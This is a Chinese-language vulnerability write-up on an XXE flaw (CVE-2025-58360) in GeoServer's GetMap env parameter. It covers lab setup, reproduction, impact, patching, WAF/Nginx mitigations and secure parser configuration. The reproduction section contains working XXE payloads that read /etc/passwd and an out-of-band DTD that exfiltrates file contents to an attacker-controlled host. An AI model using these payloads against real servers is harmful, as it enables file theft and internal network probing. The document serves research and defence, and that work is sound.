1. 项目概述与背景最近在梳理开源GIS服务的安全风险时一个刚披露不久的漏洞引起了我的注意GeoServer的GetMap接口存在XXE注入漏洞编号CVE-2025-58360。作为一款广泛使用的地理空间数据服务器GeoServer的任何一个高危漏洞都可能影响到大量依赖其提供地图服务的政府、企业和研究机构。这个漏洞的特别之处在于它并非通过常规的POST数据或文件上传触发而是巧妙地隐藏在标准的WMSWeb Map ServiceGetMap请求参数中。这意味着任何一个能够向GeoServer发送WMS请求的客户端或用户都有可能成为攻击的入口点风险面相当广。简单来说这个漏洞允许攻击者通过精心构造的XML外部实体XXE载荷在服务器端读取任意文件甚至可能实现服务器端请求伪造SSRF进而探测内网、读取敏感配置。对于安全研究者和运维人员而言理解其原理、掌握复现方法并制定有效的缓解策略是当前一项紧迫且必要的任务。我花了些时间搭建环境、分析流量、尝试多种攻击向量把整个过程和核心发现记录下来希望能给同样关注此问题的朋友提供一个清晰的参考路径。2. 漏洞原理深度解析2.1 XXE注入漏洞的核心机制要理解CVE-2025-58360首先得弄清楚XXEXML External Entity注入到底是什么。我们可以把它想象成一份合同XML文档里埋藏了一个“霸王条款”。这份合同规定当遇到某个特定名词实体引用时不能只看合同本身必须去查阅另一份外部文件外部实体的内容来替代它。如果合同审核方XML解析器无条件地信任并执行了这个条款那么攻击者就可以让审核方去读取任何指定的文件比如/etc/passwd甚至把文件内容直接“写进”合同里。在技术层面当XML解析器如Java中常见的DOM4J、SAXParser在解析XML时如果其配置中允许加载外部实体即FEATURE设置为true并且没有对实体的来源进行严格限制攻击者就可以在XML文档中定义如!ENTITY xxe SYSTEM “file:///etc/passwd”这样的实体。随后在文档体中通过xxe;引用该实体解析器就会尝试读取并嵌入指定文件的内容。GeoServer的这个漏洞正是其底层XML处理模块在解析特定参数时错误地开启了这项危险的功能。2.2 GeoServer GetMap请求的处理流程与漏洞点GeoServer的WMS服务中GetMap是一个最常用的操作用于根据给定的图层、样式、边界框等参数生成一张地图图片。其中一个可选参数是env用于传递渲染地图时需要的环境变量。这个参数的值理论上应该是一个简单的键值对字符串。然而漏洞就出现在GeoServer对env参数值的后续处理上。根据我的分析和测试攻击流程大致如下攻击者向GeoServer的WMS端点发送一个GetMap请求并在env参数中注入一个完整的、包含恶意XXE声明的XML文档片段。当GeoServer后端服务具体涉及org.geotools.xml相关的解析器尝试将这个字符串当作XML进行处理例如可能是为了解析某种特定的样式或过滤器语法时由于相关解析器配置不当没有禁用外部实体加载导致内嵌的XXE payload被成功执行。关键在于这个注入点非常隐蔽它不是一个直接的XML上传接口而是一个常规HTTP GET/POST请求的参数容易被安全设备或代码审查忽略。注意这里需要强调并非所有GetMap请求都会触发XML解析。漏洞的触发依赖于后端代码的特定执行路径通常与请求中是否包含需要XML解析的复杂样式SLD或过滤器Filter有关。攻击者通过env参数传递的恶意XML可能是在后续的样式合并或变量替换环节被错误地解析。2.3 CVE-2025-58360 与历史XXE漏洞的关联GeoServer及其底层库GeoTools历史上并非第一次出现XXE问题。例如在SLDStyled Layer Descriptor文件解析、WFSWeb Feature Service的GetFeature请求中都曾曝出过类似的漏洞。CVE-2025-58360可以看作是这类问题在GetMap接口的env参数上的一个新的攻击面体现。它说明即使在过去修补了某些明显的XML入口点如文件上传只要应用程序中存在将用户可控的字符串传递给XML解析器的代码路径并且该解析器配置不安全风险就依然存在。这也提醒我们在代码审计和修复时需要全局性地审查所有XML解析器的使用方式而不仅仅是修补被公开的单一入口。3. 漏洞复现环境搭建与准备3.1 靶机环境选择与部署为了安全地研究这个漏洞我选择在本地虚拟化环境中进行复现。首选是使用Docker因为它能提供干净、隔离且易于重置的环境。选择有漏洞的版本根据漏洞公告受影响的GeoServer版本范围较广。我选择了2.24.x系列的一个较早版本进行部署例如geoserver:2.24.0。你可以使用以下命令拉取并运行docker run -d -p 8080:8080 -e GEOSERVER_ADMIN_PASSWORDmysecurepassword docker.io/geoserver/geoserver:2.24.0这里将GeoServer的Web管理界面映射到了本地的8080端口。GEOSERVER_ADMIN_PASSWORD环境变量用于设置管理员密码请务必修改mysecurepassword为强密码。验证部署等待容器启动后在浏览器中访问http://localhost:8080/geoserver。应该能看到GeoServer的欢迎页面。使用默认用户名admin和你设置的密码登录确认服务运行正常。实操心得在生产环境中GeoServer的Docker镜像通常需要挂载卷来持久化数据目录和日志。但对于漏洞复现我们不需要持久化数据使用临时容器即可。复现完成后直接删除容器和镜像避免残留风险。3.2 攻击机工具链配置在攻击机可以是你的物理机或另一个虚拟机上需要准备以下工具HTTP请求工具curl和Burp Suite是必备的。curl用于快速测试和脚本化Burp Suite用于拦截、修改和重放请求是分析漏洞细节的利器。Payload构造工具一个简单的文本编辑器如VS Code、Sublime即可用于编写和修改XXE Payload。理解Payload结构比工具更重要。网络监听工具为了验证SSRF如果存在我们需要一个能接收HTTP请求的服务。可以用Python快速搭建一个python3 -m http.server 9999这会在本机9999端口启动一个简单的HTTP服务器用于查看是否有来自GeoServer服务器的请求发出。3.3 基础环境检查与数据准备在发起攻击前最好在GeoServer中准备一些基础数据这样GetMap请求看起来更“正常”有助于绕过一些基础的请求格式校验。创建工作区和存储登录GeoServer管理后台在“数据”-“工作区”中创建一个新工作区例如test。发布一个测试图层在“数据”-“存储”中可以添加一个“Shapefile”存储上传一个简单的Shapefile文件可以从网络获取示例数据如国家边界。然后发布该图层。这一步的目的是获得一个合法的LAYERS参数值例如test:countries。记录关键参数记下你刚创建的图层名称、工作区名称以及WMS服务的地址通常是http://靶机IP:8080/geoserver/wms。4. 漏洞利用与复现实操4.1 构造核心XXE PayloadXXE Payload的核心是定义一个指向敏感文件的外部实体并尝试将其内容输出到响应中。由于我们是通过env参数注入需要将整个XML文档作为该参数的值进行传递。一个典型的用于文件读取的Payload如下!DOCTYPE foo [ !ENTITY xxe SYSTEM file:///etc/passwd ] fooxxe;/foo但是直接把这个XML文档作为env参数的值是不行的因为HTTP请求参数需要进行URL编码并且XML中的特殊字符如,,,会破坏参数结构。因此我们需要对其进行编码。更关键的是根据漏洞触发点的上下文我们可能需要将整个Payload嵌入到一个符合特定XML结构的片段中。经过测试一种有效的注入方式是将Payload作为某个XML元素的属性值或文本内容。以下是一个经过URL编码前的原始Payload示例它定义了一个实体并引用它env!DOCTYPE a [!ENTITY % remote SYSTEM http://攻击机IP:9999/evil.dtd%remote;]注这是一个用于触发SSRF的Payload通过引用外部DTD来验证服务器是否能发起网络请求。实际文件读取Payload结构类似但需要调整输出方式。由于直接回显文件内容到HTTP响应可能比较困难取决于解析后的输出位置我们常常采用“带外数据”OOB, Out-Of-Band技术即让服务器将文件内容发送到我们控制的服务器。这需要构造一个两阶段的Payload。4.2 分步攻击复现过程下面我将演示一个从简单验证到复杂利用的过程。第一步漏洞存在性验证盲测首先我们尝试一个能引起明显差异的Payload比如让服务器尝试加载一个不存在的外部实体观察响应时间或错误信息的变化。使用curl发送一个正常的GetMap请求作为基线curl -s http://localhost:8080/geoserver/wms?SERVICEWMSVERSION1.1.1REQUESTGetMapLAYERStest:countriesSTYLESFORMATimage%2FpngSRSEPSG%3A4326BBOX-180,-90,180,90WIDTH800HEIGHT600这会返回一张PNG图片可能是错误图片因为BBOX范围太大但不影响测试。接着注入一个简单的XXE Payload到env参数curl -g http://localhost:8080/geoserver/wms?SERVICEWMSVERSION1.1.1REQUESTGetMapLAYERStest:countriesSTYLESFORMATimage%2FpngSRSEPSG%3A4326BBOX-180,-90,180,90WIDTH800HEIGHT600env!DOCTYPE test [!ENTITY xxe SYSTEM file:///etc/passwd]注意-g参数允许curl使用字面意义上的[和]否则它们会被curl解析。同时我暂时没有在env值中引用xxe;因为第一步只是测试解析器是否会处理这个DTD声明。如果服务器处理了DTD并尝试加载file:///etc/passwd可能会因为权限问题或文件内容无法嵌入到当前上下文中而返回一个与基线请求不同的错误如500内部服务器错误、连接超时或者错误信息中提及文件路径。对比两次请求的响应状态码和内容。第二步带外OOB信息外带验证如果第一步怀疑漏洞存在我们可以通过OOB方式确认。这需要我们在攻击机上启动一个HTTP服务器如前所述python3 -m http.server 9999并准备一个托管在攻击机上的外部DTD文件。在攻击机/tmp目录创建evil.dtd文件内容如下!ENTITY % file SYSTEM file:///etc/passwd !ENTITY % eval !ENTITY #x25; exfil SYSTEM http://攻击机IP:9999/?p%file; %eval; %exfil;这个DTD定义了一个参数实体%file读取/etc/passwd然后动态构造另一个参数实体%exfil其SYSTEM URI包含了%file的内容指向我们的监听服务器。#x25;是%的HTML实体编码在XML中需要这样写。构造GetMap请求其env参数引用这个外部DTDcurl -g http://localhost:8080/geoserver/wms?SERVICEWMSVERSION1.1.1REQUESTGetMapLAYERStest:countriesSTYLESFORMATimage%2FpngSRSEPSG%3A4326BBOX-180,-90,180,90WIDTH800HEIGHT600env!DOCTYPE root [!ENTITY % remote SYSTEM http://攻击机IP:9999/evil.dtd%remote;]注意这里的env值是一个完整的XML声明它引用了我们攻击机上的DTD。观察攻击机上的HTTP服务器日志。如果漏洞存在且可利用GeoServer服务器会向http://攻击机IP:9999/evil.dtd发起请求以获取DTD文件接着执行DTD中的指令尝试将/etc/passwd文件内容作为URL参数发送到http://攻击机IP:9999/?p...。你会在Python服务器的访问日志中看到相应的请求记录。注意事项OOB方式成功与否受多重因素影响。目标服务器可能无法出网无外网访问权限或者防火墙规则会阻止请求。此外file:///etc/passwd的内容如果包含换行符或特殊字符在URL中可能会被截断或导致请求失败。因此没有收到OOB请求并不绝对意味着漏洞不存在可能需要尝试读取更小、更干净的文件如/proc/self/environ或采用其他技术。4.3 利用Burp Suite进行精细化测试图形化工具能让我们更直观地操作和观察。启动Burp Suite配置浏览器代理。在浏览器中访问GeoServer的WMS请求页面或者手动构造一个GetMap请求URL在浏览器中访问让请求经过Burp。在Burp的Proxy - Intercept标签页截获该请求将其发送到Repeater模块。在Repeater中找到env参数将我们构造的、经过URL编码的Payload粘贴进去。Burp可以自动进行URL编码和解码非常方便。原始Payload!DOCTYPE a [!ENTITY % d SYSTEM http://攻击机IP:9999/evil.dtd%d;]URL编码后%3C!DOCTYPE%20a%20%5B%3C!ENTITY%20%25%20d%20SYSTEM%20%22http%3A%2F%2F攻击机IP%3A9999%2Fevil.dtd%22%3E%25d%3B%5D%3E发送请求观察响应。同时查看攻击机上的HTTP服务器是否有请求进来。在Repeater中可以方便地对比不同Payload的响应差异例如响应长度、状态码、返回时间等。5. 漏洞影响范围与深度分析5.1 受影响的GeoServer版本根据漏洞披露信息CVE-2025-58360影响多个GeoServer版本。通常这类在核心XML处理逻辑中的漏洞其影响范围会覆盖使用相同脆弱组件的一系列版本。具体来说在GeoTools库修复此问题之前发布的GeoServer版本都可能受影响。这包括了2.24.x, 2.23.x, 2.22.x等主流维护分支甚至可能追溯到更早的版本。对于使用社区版或企业版的用户都需要立即核对自身版本是否在受影响列表内。最稳妥的方式是直接升级到已发布安全修复的最新版本。5.2 攻击可能造成的实际危害成功利用此漏洞的攻击者可以实现以下一种或多种危害敏感文件读取这是最直接的危害。攻击者可以读取服务器上的任意文件包括系统文件/etc/passwd,/etc/shadow需root权限用于获取用户列表甚至密码哈希。应用程序配置文件GeoServer数据目录下的geoserver_data/security/masterpw.dat加密的主密码文件、users.properties、各种数据源的连接配置文件可能包含数据库密码。源代码或日志文件可能泄露其他敏感信息或业务逻辑。服务器端请求伪造SSRF通过SYSTEM http://internal-service/这样的实体攻击者可以诱使GeoServer服务器向内部网络的其他服务发起HTTP请求。这可以用来探测内网拓扑和存活服务。攻击内网中脆弱的、无公网暴露的应用如Redis, Jenkins等。在某些配置下结合其他协议如gopher://,dict://可能实现更复杂的攻击。拒绝服务DoS通过定义引用巨大文件如/dev/zero或触发无限循环的实体可能消耗服务器大量内存或CPU资源导致服务不可用。5.3 在真实网络环境中的利用场景在内部网络或渗透测试中攻击者可能通过以下路径利用该漏洞外部攻击者如果GeoServer的WMS服务暴露在公网很多地图服务确实如此攻击者可以直接扫描并攻击。内部横向移动攻击者在突破边界后在内网中发现GeoServer服务器可利用此漏洞读取其他服务的配置如数据库连接字符串进一步渗透。供应链攻击如果一个在线地图平台使用了存在漏洞的GeoServer版本攻击者可能通过该平台用户端如允许自定义WMS URL的地图应用发起攻击间接危害平台后端。这个漏洞的利用条件相对宽松只需要能发送HTTP请求到GeoServer的WMS接口且危害严重因此CVSS评分很可能在“高危”7.0-8.9甚至“严重”9.0-10.0范围。6. 漏洞修复与缓解措施6.1 官方补丁与版本升级修复此类XXE漏洞的根本方法是升级到已修复的版本。GeoServer和其底层的GeoTools项目维护者会在安全版本中禁用相关XML解析器的外部实体解析功能。具体操作查看官方安全公告访问GeoServer官网的Security板块找到关于CVE-2025-58360的公告确认修复版本号。备份数据升级前务必备份整个GEOSERVER_DATA_DIR目录。可以使用GeoServer管理界面内的“备份”功能或直接复制文件系统目录。执行升级War包部署下载新版本的War包替换Tomcat等Servlet容器中的旧War文件重启容器。二进制安装根据官方指南停止服务替换安装目录中的JAR文件和库然后重启。Docker部署修改Dockerfile或Compose文件中的镜像标签为新版本重新构建和启动容器。验证升级升级后重新运行漏洞复现的测试用例确认漏洞已无法利用。同时测试核心地图服务功能是否正常。6.2 临时缓解方案WAF/配置加固如果因故无法立即升级可以考虑以下临时缓解措施Web应用防火墙WAF规则在GeoServer前端部署WAF如ModSecurity添加规则以检测和拦截GetMap请求的env参数中是否包含!DOCTYPE、!ENTITY、SYSTEM、PUBLIC等XXE特征字符串。规则示例ModSecuritySecRule ARGS_GET:env rx (?:!\\s*(?:DOCTYPE|ENTITY)|SYSTEM\\s*[\\\]|PUBLIC\\s*[\\\]) \ id:1001,\ phase:2,\ deny,\ status:403,\ msg:Potential XXE attack detected in env parameter注意这种规则可能存在误报需要根据实际业务请求进行调整和测试。禁用或过滤env参数如果业务完全不需要使用GetMap的env参数可以在反向代理如Nginx层面直接丢弃或清空该参数。Nginx配置示例location /geoserver/wms { proxy_pass http://geoserver_backend; # 移除env参数 if ($args ~* (^|)env) { set $args $1; } proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; }这种方法比较粗暴可能会影响确实需要使用该参数的合法功能。Java系统属性加固对于运行GeoServer的JVM可以尝试设置全局属性来限制外部实体处理但这可能不够精准且影响所有应用。例如在Tomcat的setenv.sh中添加JAVA_OPTS$JAVA_OPTS -Djavax.xml.accessExternalDTDall但此属性主要控制javax.xml.transform.Transformer等对漏洞中可能使用的其他解析器如SAXParser不一定有效。6.3 代码级修复与安全开发建议对于开发者或希望深入理解修复原理的人可以查看官方补丁。修复的核心通常是在创建XML解析器DocumentBuilderFactory,SAXParserFactory等时显式设置以下安全属性DocumentBuilderFactory dbf DocumentBuilderFactory.newInstance(); // 禁用外部实体 dbf.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true); dbf.setFeature(http://xml.org/sax/features/external-general-entities, false); dbf.setFeature(http://xml.org/sax/features/external-parameter-entities, false); dbf.setXIncludeAware(false); dbf.setExpandEntityReferences(false); // 或者使用OWASP推荐的标准方法 String FEATURE http://apache.org/xml/features/disallow-doctype-decl; dbf.setFeature(FEATURE, true); FEATURE http://xml.org/sax/features/external-general-entities; dbf.setFeature(FEATURE, false); FEATURE http://xml.org/sax/features/external-parameter-entities; dbf.setFeature(FEATURE, false); dbf.setXIncludeAware(false); dbf.setExpandEntityReferences(false);安全开发建议最小化XML解析尽量避免解析用户提供的XML数据。如果必须解析使用JSON、YAML等更安全的格式替代。使用安全配置的解析器始终使用上述安全配置来初始化XML解析器。输入白名单验证对像env这样的参数如果其预期值只是简单的键值对应在业务逻辑层进行严格的白名单或格式校验拒绝任何包含XML标记的内容。依赖项安全管理定期更新GeoTools、Spring等所有依赖库已知的XXE漏洞可能存在于底层库中。7. 排查技巧与防御思考7.1 如何判断系统是否受影响如果你负责维护一个GeoServer实例可以按照以下步骤快速评估风险版本核对登录GeoServer管理后台/geoserver/web在首页或“关于”页面查看当前版本号。对比GeoServer官方发布的安全公告确认是否在受影响版本范围内。网络暴露面分析检查GeoServer的WMS端点通常是/geoserver/wms是否暴露在公网或不可信的网络区域。使用netstat或ss命令结合防火墙规则进行确认。简易漏洞检测谨慎操作可以在测试环境或得到授权的情况下使用本章第一节描述的“盲测”方法发送一个无害的测试Payload例如尝试引用一个不存在的file:///nonexistent观察响应是否有异常如延迟、错误信息变化。切勿在生产环境直接使用读取敏感文件或发起网络请求的Payload。日志审计检查GeoServer的访问日志位于GEOSERVER_DATA_DIR/logs搜索大量异常的、包含env参数且参数值很长的GetMap请求。攻击行为通常在日志中会留下痕迹。7.2 漏洞复现过程中的常见问题与解决在复现过程中你可能会遇到以下问题问题1发送Payload后GeoServer返回“Internal Error”但没有其他信息。排查检查GeoServer的日志文件geoserver.log通常会有更详细的堆栈跟踪信息。错误可能来自1) XML解析失败说明触发了解析2) 文件读取权限不足3) 实体内容无法嵌入响应。开启DEBUG级别日志可以获得更多细节。问题2OOB测试没有收到任何请求。排查确认攻击机的HTTP服务器确实在运行且监听端口正确netstat -tulnp | grep :9999。确认攻击机防火墙放行了9999端口的入站连接。确认GeoServer服务器能够访问攻击机的IP和端口网络可达性。如果GeoServer在Docker容器内确保容器网络模式如bridge允许出站连接到主机IP。尝试使用DNS OOB技术。将Payload中的URL换成类似http://unique-subdomain.attacker.com/的格式然后查看你的DNS日志是否有解析请求。这可以绕过一些HTTP出站限制。问题3Payload被URL编码破坏。解决确保整个注入的XML片段作为一个完整的字符串进行URL编码。使用Burp Suite的Decoder工具或在线编码工具将整个env参数值从!DOCTYPE到进行编码再将编码后的字符串放入请求中。在curl中使用-g参数和单引号包裹URL或使用--data-urlencode参数。7.3 从防御者视角的深度思考面对此类漏洞防御不应止步于打补丁。我建议从以下几个层面构建纵深防御体系资产与漏洞管理建立完善的软件资产清单对所有中间件如GeoServer的版本、部署位置、网络暴露情况进行登记。订阅相关安全公告确保漏洞信息能快速触达运维和安全团队。网络隔离与最小权限遵循最小权限原则。GeoServer服务器不应直接暴露在公网应置于DMZ或内网通过反向代理或API网关对外提供服务。严格限制服务器本身的出站连接仅允许访问必要的资源如数据库、缓存这能有效遏制SSRF攻击的横向移动。运行时保护RASP/IPS考虑在JVM层面部署运行时应用自我保护RASP方案或使用具有深度报文检测DPI能力的入侵防御系统IPS。这些方案可以监控Java应用程序的行为在检测到疑似XXE利用如尝试调用FileInputStream读取/etc/passwd时进行实时阻断。安全开发生命周期SDL对于自研或深度定制GeoServer的团队应将安全编码规范纳入流程。在代码审查中重点关注所有XML解析、XPath查询、XSLT转换等操作确保使用了安全配置。同时对用户输入进行严格的、基于白名单的验证和净化。研究像CVE-2025-58360这样的漏洞绝不仅仅是为了复现而复现。它的价值在于揭示了在复杂开源组件中一个看似普通的参数背后可能隐藏着意想不到的解析逻辑链条。作为防御方我们需要时刻保持警惕假设所有输入都是恶意的并对任何数据解析点保持怀疑。这次漏洞也再次印证了“纵深防御”和“最小化攻击面”这些安全基本原则的重要性。打补丁是止血而良好的安全架构和运维习惯才是真正的免疫力。